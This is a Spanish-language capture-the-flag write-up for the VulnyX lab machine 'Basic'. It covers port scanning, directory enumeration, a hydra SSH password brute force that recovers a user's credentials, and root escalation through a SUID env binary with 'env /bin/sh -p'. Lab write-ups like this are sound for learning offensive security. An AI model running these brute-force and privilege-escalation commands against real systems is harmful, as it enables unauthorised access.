cd ~/blog

~/writeups/vulnyx/01-basic.md

01 - Basic

low Linux vulnyx 25-02-2024
Weak SSH PasswordSUID env Privesc
vulnyx.com

~1 min de lectura


Comenzamos con un escaneo general de puertos y, a partir de los puertos abiertos, uno específico para identificar versiones y servicios:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.129
 nmap -sCV -p22,80,631 -oN 02-targeted.txt 192.168.1.129
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-25 00:30 -03
Nmap scan report for 192.168.1.129
Host is up (0.00029s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
|   3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
|   256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_  256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp  open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
631/tcp open  ipp     CUPS 2.3
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Inicio - CUPS 2.3.3op2
|_http-server-header: CUPS/2.3 IPP/2.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.92 seconds

Tenemos tres servicios expuestos: SSH (22), un Apache con la página por defecto (80) y un servicio de impresión CUPS (631). Enumeramos el sitio web en busca de rutas adicionales con gobuster:

 gobuster dir -u http://192.168.1.129 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r

La pista útil aparece en el servicio CUPS, donde se filtra un nombre de usuario válido del sistema. Con ese usuario lanzamos un ataque de fuerza bruta contra SSH usando hydra:

 hydra -l dimitri -P ~/Documentos/wordlists/rockyou.txt 192.168.1.129 ssh -t 64
...
[22][ssh] host: 192.168.1.129   login: dimitri   password: mememe
...

Nos conectamos por SSH con las credenciales dimitri:mememe y obtenemos la primera flag.

Para escalar privilegios, buscamos binarios con el bit SUID activado:

dimitri@basic:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/env
...

El binario env tiene el bit SUID, lo que permite abusarlo para ejecutar un intérprete heredando los privilegios del propietario (root). Según GTFOBins, lanzamos una shell con -p para preservar el UID efectivo:

dimitri@basic:~$ env /bin/sh -p
# whoami
root

Obtenemos nuestra flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados